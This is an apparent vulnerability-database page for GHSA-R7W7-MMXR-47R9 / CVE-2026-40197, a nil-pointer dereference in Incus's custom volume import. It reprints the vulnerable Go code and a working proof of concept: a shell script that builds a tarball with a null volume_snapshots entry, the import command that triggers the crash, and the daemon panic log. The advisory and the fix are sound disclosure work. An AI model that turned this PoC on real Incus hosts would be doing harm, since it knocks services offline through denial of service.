Vulnerability-Lookup

GHSA-R7W7-MMXR-47R9

Vulnerability from github – Published: 2026-05-04 17:45 – Updated: 2026-05-08 19:27

Summary

Incus has a Nil-Pointer Dereference via Custom Volume Import

Details

Summary

Missing validation logic in the storage volume import logic allows an authenticated user with access to Incus' storage volume feature to cause the Incus daemon to crash. Repeated use of this issue can be used to keep Incus offline causing a denial of service.

Details

The custom volume backup import subsystem contains a nil-pointer dereference vulnerability that allows an authenticated attacker to crash the daemon during import operations.

In the snapshot import loop, the daemon iterates over entries from srcBackup.Config.VolumeSnapshots, which is a slice of pointers. The implementation assumes that each slice element is non-nil and immediately dereferences it through expressions such as snapshot.Name, snapshot.Config, snapshot.Description, snapshot.CreatedAt, and *snapshot.ExpiresAt without first validating that the element itself is initialized.

Because the YAML unmarshaler accepts explicit null array elements from an attacker-controlled index.yaml and converts them into nil pointers inside the slice, an authenticated attacker can supply a backup archive containing a null entry in the volume_snapshots array. This causes the daemon to dereference a nil pointer during custom volume import and terminate, resulting in immediate denial of service on the node.

Affected File: https://github.com/lxc/incus/blob/v6.22.0/internal/server/storage/backend.go

Affected Code:

func (b *backend) CreateCustomVolumeFromBackup(srcBackup backup.Info, srcData io.ReadSeeker, op *operations.Operation) error {
    [...]
    // Create database entries for new storage volume snapshots.
    for _, s := range srcBackup.Config.VolumeSnapshots {
        snapshot := s // Local var for revert.
        snapName := snapshot.Name

        // Due to a historical bug, the volume snapshot names were sometimes written in their full form
        // (<parent>/<snap>) rather than the expected snapshot name only form, so we need to handle both.
        if internalInstance.IsSnapshot(snapshot.Name) {
            _, snapName, _ = api.GetParentAndSnapshotName(snapshot.Name)
        }

        fullSnapName := drivers.GetSnapshotVolumeName(srcBackup.Name, snapName)
        snapVolStorageName := project.StorageVolume(srcBackup.Project, fullSnapName)
        snapVol := b.GetVolume(drivers.VolumeTypeCustom, drivers.ContentType(srcBackup.Config.Volume.ContentType), snapVolStorageName, snapshot.Config)

        // Validate config and create database entry for new storage volume.
        // Strip unsupported config keys (in case the export was made from a different type of storage pool).
        err = VolumeDBCreate(b, srcBackup.Project, fullSnapName, snapshot.Description, snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt, *snapshot.ExpiresAt, snapVol.ContentType(), true, true)
        if err != nil {
            return err
        }

        reverter.Add(func() { _ = VolumeDBDelete(b, srcBackup.Project, fullSnapName, snapVol.Type()) })
    }
    [...]
}

PoC

The following PoC demonstrates that a crafted custom volume backup archive containing a null entry in volume_snapshots can trigger a nil-pointer dereference during import.

Step 1: Generate the malformed archive

From a client or workstation with shell access, create a custom volume backup archive whose index.yaml contains one physical snapshot directory and a matching volume_snapshots array containing a literal null entry.

Commands:

cat <<EOF > poc_nil_snapshot.sh
#!/bin/bash
set -e

echo "[*] Building null snapshot dereference payload..."

mkdir -p backup/volume
mkdir -p backup/snapshots/snap0

cat <<EOT > backup/index.yaml
name: panic-nil-snap
backend: dir
pool: default
type: custom
snapshots:
  - snap0
config:
  volume:
    name: panic-nil-snap
    type: custom
    content_type: filesystem
    config: {}
  volume_snapshots:
    - null
EOT

tar -czf exploit_null_snapshot.tar.gz backup/
rm -rf backup/

echo "[+] PoC Tarball Created: exploit_null_snapshot.tar.gz"
EOF

bash poc_nil_snapshot.sh

Result:

[+] PoC Tarball Created: exploit_null_snapshot.tar.gz

Step 2: Trigger the vulnerable custom volume import path

From an Incus client with permission to import custom volumes, import the crafted archive into a valid storage pool.

Command:

incus storage volume import default exploit_null_snapshot.tar.gz

Result:

Error: Operation not found

Step 3: Verify the daemon panic

On the Incus host, inspect the service logs and confirm that the daemon terminated with a nil-pointer dereference in CreateCustomVolumeFromBackup.

Command:

journalctl -u incus --since "3 minutes ago" | grep -A 15 "panic:"

Result:

panic: runtime error: invalid memory address or nil pointer dereference
github.com/lxc/incus/v6/internal/server/storage.(*backend).CreateCustomVolumeFromBackup(...)

Mar 23 17:27:55 incus-7a incusd[238672]: panic: runtime error: invalid memory address or nil pointer dereference
Mar 23 17:27:55 incus-7a incusd[238672]: [signal SIGSEGV: segmentation violation code=0x1 addr=0x18 pc=0x16881c3]
Mar 23 17:27:55 incus-7a incusd[238672]: goroutine 5802 [running]:
Mar 23 17:27:55 incus-7a incusd[238672]: github.com/lxc/incus/v6/internal/server/storage.(*backend).CreateCustomVolumeFromBackup(0x31c86ff85800, {{0x31c870a13203, 0x9}, {0x31c870a13300, 0xe}, {0x31c870a13318, 0x3}, {0x31c86f6d6298, 0x7}, {0x31c86fd13280, ...}, ...}, ...)
Mar 23 17:27:55 incus-7a incusd[238672]:         /home/stgraber/Code/lxc/incus/internal/server/storage/backend.go:7627 +0xe03
Mar 23 17:27:55 incus-7a incusd[238672]: main.createStoragePoolVolumeFromBackup.func6(0x31c86fa5e000?)
Mar 23 17:27:55 incus-7a incusd[238672]:         /home/stgraber/Code/lxc/incus/cmd/incusd/storage_volumes.go:2715 +0x3f4
Mar 23 17:27:55 incus-7a incusd[238672]: github.com/lxc/incus/v6/internal/server/operations.(*Operation).Start.func1(0x31c86f758140)
Mar 23 17:27:55 incus-7a incusd[238672]:         /home/stgraber/Code/lxc/incus/internal/server/operations/operations.go:307 +0x26
Mar 23 17:27:55 incus-7a incusd[238672]: created by github.com/lxc/incus/v6/internal/server/operations.(*Operation).Start in goroutine 5783
Mar 23 17:27:55 incus-7a incusd[238672]:         /home/stgraber/Code/lxc/incus/internal/server/operations/operations.go:306 +0x105
Mar 23 17:27:55 incus-7a systemd[1]: incus.service: Main process exited, code=exited, status=2/INVALIDARGUMENT
Mar 23 17:27:55 incus-7a systemd[1]: incus.service: Failed with result 'exit-code'.
Mar 23 17:27:55 incus-7a systemd[1]: incus.service: Unit process 159855 (qemu-system-x86) remains running after unit stopped.
Mar 23 17:27:55 incus-7a systemd[1]: incus.service: Unit process 238744 (dnsmasq) remains running after unit stopped.
Mar 23 17:27:55 incus-7a systemd[1]: incus.service: Unit process 238760 (dnsmasq) remains running after unit stopped.

It is recommended to validate that each element of srcBackup.Config.VolumeSnapshots is non-nil before dereferencing it. If the archive contains a null snapshot entry, the function should return a structured validation error and abort the import gracefully rather than allowing a runtime panic to crash the service.

Credit

This issue was discovered and reported by the team at 7asecurity (https://7asecurity.com/)

Severity ?

6.5 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

7.1 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Show details on source website

JSON

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{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/lxc/incus/v6/cmd/incusd"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "7.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-40197"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-476"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-04T17:45:21Z",
    "nvd_published_at": "2026-05-06T21:16:00Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nMissing validation logic in the storage volume import logic allows an authenticated user with access to Incus\u0027 storage volume feature to cause the Incus daemon to crash. Repeated use of this issue can be used to keep Incus offline causing a denial of service.\n\n### Details\nThe custom volume backup import subsystem contains a nil-pointer dereference vulnerability that allows an authenticated attacker to crash the daemon during import operations.\n\nIn the snapshot import loop, the daemon iterates over entries from srcBackup.Config.VolumeSnapshots, which is a slice of pointers. The implementation assumes that each slice element is non-nil and immediately dereferences it through expressions such as snapshot.Name, snapshot.Config, snapshot.Description, snapshot.CreatedAt, and *snapshot.ExpiresAt without first validating that the element itself is initialized.\n\nBecause the YAML unmarshaler accepts explicit null array elements from an attacker-controlled index.yaml and converts them into nil pointers inside the slice, an authenticated attacker can supply a backup archive containing a null entry in the volume_snapshots array. This causes the daemon to dereference a nil pointer during custom volume import and terminate, resulting in immediate denial of service on the node.\n\nAffected File:\nhttps://github.com/lxc/incus/blob/v6.22.0/internal/server/storage/backend.go \n\nAffected Code:\n```\nfunc (b *backend) CreateCustomVolumeFromBackup(srcBackup backup.Info, srcData io.ReadSeeker, op *operations.Operation) error {\n    [...]\n    // Create database entries for new storage volume snapshots.\n    for _, s := range srcBackup.Config.VolumeSnapshots {\n        snapshot := s // Local var for revert.\n        snapName := snapshot.Name\n\n        // Due to a historical bug, the volume snapshot names were sometimes written in their full form\n        // (\u003cparent\u003e/\u003csnap\u003e) rather than the expected snapshot name only form, so we need to handle both.\n        if internalInstance.IsSnapshot(snapshot.Name) {\n            _, snapName, _ = api.GetParentAndSnapshotName(snapshot.Name)\n        }\n\n        fullSnapName := drivers.GetSnapshotVolumeName(srcBackup.Name, snapName)\n        snapVolStorageName := project.StorageVolume(srcBackup.Project, fullSnapName)\n        snapVol := b.GetVolume(drivers.VolumeTypeCustom, drivers.ContentType(srcBackup.Config.Volume.ContentType), snapVolStorageName, snapshot.Config)\n\n        // Validate config and create database entry for new storage volume.\n        // Strip unsupported config keys (in case the export was made from a different type of storage pool).\n        err = VolumeDBCreate(b, srcBackup.Project, fullSnapName, snapshot.Description, snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt, *snapshot.ExpiresAt, snapVol.ContentType(), true, true)\n        if err != nil {\n            return err\n        }\n\n        reverter.Add(func() { _ = VolumeDBDelete(b, srcBackup.Project, fullSnapName, snapVol.Type()) })\n    }\n    [...]\n}\n```\n\n### PoC\nThe following PoC demonstrates that a crafted custom volume backup archive containing a null entry in volume_snapshots can trigger a nil-pointer dereference during import.\n\nStep 1: Generate the malformed archive\n\nFrom a client or workstation with shell access, create a custom volume backup archive whose index.yaml contains one physical snapshot directory and a matching volume_snapshots array containing a literal null entry.\n\nCommands:\n```\ncat \u003c\u003cEOF \u003e poc_nil_snapshot.sh\n#!/bin/bash\nset -e\n\necho \"[*] Building null snapshot dereference payload...\"\n\nmkdir -p backup/volume\nmkdir -p backup/snapshots/snap0\n\ncat \u003c\u003cEOT \u003e backup/index.yaml\nname: panic-nil-snap\nbackend: dir\npool: default\ntype: custom\nsnapshots:\n  - snap0\nconfig:\n  volume:\n    name: panic-nil-snap\n    type: custom\n    content_type: filesystem\n    config: {}\n  volume_snapshots:\n    - null\nEOT\n\ntar -czf exploit_null_snapshot.tar.gz backup/\nrm -rf backup/\n\necho \"[+] PoC Tarball Created: exploit_null_snapshot.tar.gz\"\nEOF\n\nbash poc_nil_snapshot.sh\n```\n\nResult:\n```\n[+] PoC Tarball Created: exploit_null_snapshot.tar.gz\n```\n\nStep 2: Trigger the vulnerable custom volume import path\n\nFrom an Incus client with permission to import custom volumes, import the crafted archive into a valid storage pool.\n\nCommand:\n```\nincus storage volume import default exploit_null_snapshot.tar.gz\n```\n\nResult:\n```\nError: Operation not found\n```\n\nStep 3: Verify the daemon panic\n\nOn the Incus host, inspect the service logs and confirm that the daemon terminated with a nil-pointer dereference in CreateCustomVolumeFromBackup.\n\n\nCommand:\n```\njournalctl -u incus --since \"3 minutes ago\" | grep -A 15 \"panic:\"\n```\n\nResult:\n```\npanic: runtime error: invalid memory address or nil pointer dereference\ngithub.com/lxc/incus/v6/internal/server/storage.(*backend).CreateCustomVolumeFromBackup(...)\n\nMar 23 17:27:55 incus-7a incusd[238672]: panic: runtime error: invalid memory address or nil pointer dereference\nMar 23 17:27:55 incus-7a incusd[238672]: [signal SIGSEGV: segmentation violation code=0x1 addr=0x18 pc=0x16881c3]\nMar 23 17:27:55 incus-7a incusd[238672]: goroutine 5802 [running]:\nMar 23 17:27:55 incus-7a incusd[238672]: github.com/lxc/incus/v6/internal/server/storage.(*backend).CreateCustomVolumeFromBackup(0x31c86ff85800, {{0x31c870a13203, 0x9}, {0x31c870a13300, 0xe}, {0x31c870a13318, 0x3}, {0x31c86f6d6298, 0x7}, {0x31c86fd13280, ...}, ...}, ...)\nMar 23 17:27:55 incus-7a incusd[238672]:         /home/stgraber/Code/lxc/incus/internal/server/storage/backend.go:7627 +0xe03\nMar 23 17:27:55 incus-7a incusd[238672]: main.createStoragePoolVolumeFromBackup.func6(0x31c86fa5e000?)\nMar 23 17:27:55 incus-7a incusd[238672]:         /home/stgraber/Code/lxc/incus/cmd/incusd/storage_volumes.go:2715 +0x3f4\nMar 23 17:27:55 incus-7a incusd[238672]: github.com/lxc/incus/v6/internal/server/operations.(*Operation).Start.func1(0x31c86f758140)\nMar 23 17:27:55 incus-7a incusd[238672]:         /home/stgraber/Code/lxc/incus/internal/server/operations/operations.go:307 +0x26\nMar 23 17:27:55 incus-7a incusd[238672]: created by github.com/lxc/incus/v6/internal/server/operations.(*Operation).Start in goroutine 5783\nMar 23 17:27:55 incus-7a incusd[238672]:         /home/stgraber/Code/lxc/incus/internal/server/operations/operations.go:306 +0x105\nMar 23 17:27:55 incus-7a systemd[1]: incus.service: Main process exited, code=exited, status=2/INVALIDARGUMENT\nMar 23 17:27:55 incus-7a systemd[1]: incus.service: Failed with result \u0027exit-code\u0027.\nMar 23 17:27:55 incus-7a systemd[1]: incus.service: Unit process 159855 (qemu-system-x86) remains running after unit stopped.\nMar 23 17:27:55 incus-7a systemd[1]: incus.service: Unit process 238744 (dnsmasq) remains running after unit stopped.\nMar 23 17:27:55 incus-7a systemd[1]: incus.service: Unit process 238760 (dnsmasq) remains running after unit stopped.\n```\n\nIt is recommended to validate that each element of srcBackup.Config.VolumeSnapshots is non-nil before dereferencing it. If the archive contains a null snapshot entry, the function should return a structured validation error and abort the import gracefully rather than allowing a runtime panic to crash the service.\n\n### Credit\nThis issue was discovered and reported by the team at 7asecurity (https://7asecurity.com/)",
  "id": "GHSA-r7w7-mmxr-47r9",
  "modified": "2026-05-08T19:27:07Z",
  "published": "2026-05-04T17:45:21Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lxc/incus/security/advisories/GHSA-r7w7-mmxr-47r9"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40197"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lxc/incus"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Incus has a Nil-Pointer Dereference via Custom Volume Import"
}

CVE-2026-40197 (GCVE-0-2026-40197)

Vulnerability from cvelistv5 – Published: 2026-05-06 20:36 – Updated: 2026-05-07 13:28

Title

Incus nil-pointer dereference in custom volume import allows denial of service

Summary

Incus is a system container and virtual machine manager. In versions before 7.0.0, missing validation logic in the storage volume import logic allows an authenticated user with access to the storage volume feature to cause the Incus daemon to crash. The custom volume backup import subsystem contains a nil-pointer dereference vulnerability during import operations. In the snapshot import loop, the daemon iterates over entries from `srcBackup.Config.VolumeSnapshots` and assumes that each slice element is initialized, then dereferences fields such as `Name`, `Config`, `Description`, `CreatedAt`, and `ExpiresAt` without first validating the element itself. Because the yaml unmarshaler accepts explicit null array elements from an attacker-controlled index.yaml and converts them into nil pointers inside the slice, an attacker can supply a backup archive containing a null entry in the volume_snapshots array. This causes a nil-pointer dereference during custom volume import and terminates the daemon, resulting in denial of service on the affected node. Repeated use of this issue can be used to keep Incus offline, causing a denial of service. This issue is fixed in version 7.0.0.

Severity ?

7.1 (High)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

CWE

CWE-476 - NULL Pointer Dereference

Assigner

GitHub_M

References

1 reference

URL	Tags
https://github.com/lxc/incus/security/advisories/…	x_refsource_CONFIRM

Impacted products

1 product

Vendor	Product	Version
lxc	incus	Affected: < 7.0.0

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-40197",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-05-07T13:21:46.355736Z",
                "version": "2.0.3"
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            }
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          "dateUpdated": "2026-05-07T13:28:55.006Z",
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          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "incus",
          "vendor": "lxc",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 7.0.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Incus is a system container and virtual machine manager. In versions before 7.0.0, missing validation logic in the storage volume import logic allows an authenticated user with access to the storage volume feature to cause the Incus daemon to crash. The custom volume backup import subsystem contains a nil-pointer dereference vulnerability during import operations. In the snapshot import loop, the daemon iterates over entries from `srcBackup.Config.VolumeSnapshots` and assumes that each slice element is initialized, then dereferences fields such as `Name`, `Config`, `Description`, `CreatedAt`, and `ExpiresAt` without first validating the element itself. Because the yaml unmarshaler accepts explicit null array elements from an attacker-controlled index.yaml and converts them into nil pointers inside the slice, an attacker can supply a backup archive containing a null entry in the volume_snapshots array. This causes a nil-pointer dereference during custom volume import and terminates the daemon, resulting in denial of service on the affected node. Repeated use of this issue can be used to keep Incus offline, causing a denial of service. This issue is fixed in version 7.0.0."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "NETWORK",
            "baseScore": 7.1,
            "baseSeverity": "HIGH",
            "privilegesRequired": "LOW",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "NONE",
            "subIntegrityImpact": "NONE",
            "userInteraction": "NONE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
            "version": "4.0",
            "vulnAvailabilityImpact": "HIGH",
            "vulnConfidentialityImpact": "NONE",
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        {
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          "tags": [
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        }
      ],
      "source": {
        "advisory": "GHSA-r7w7-mmxr-47r9",
        "discovery": "UNKNOWN"
      },
      "title": "Incus nil-pointer dereference in custom volume import allows denial of service"
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  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
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    "datePublished": "2026-05-06T20:36:24.000Z",
    "dateReserved": "2026-04-09T20:59:17.621Z",
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    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

GHSA-R7W7-MMXR-47R9

Summary

Details

PoC

Credit

CVE-2026-40197 (GCVE-0-2026-40197)

Tags

Sightings

Nomenclature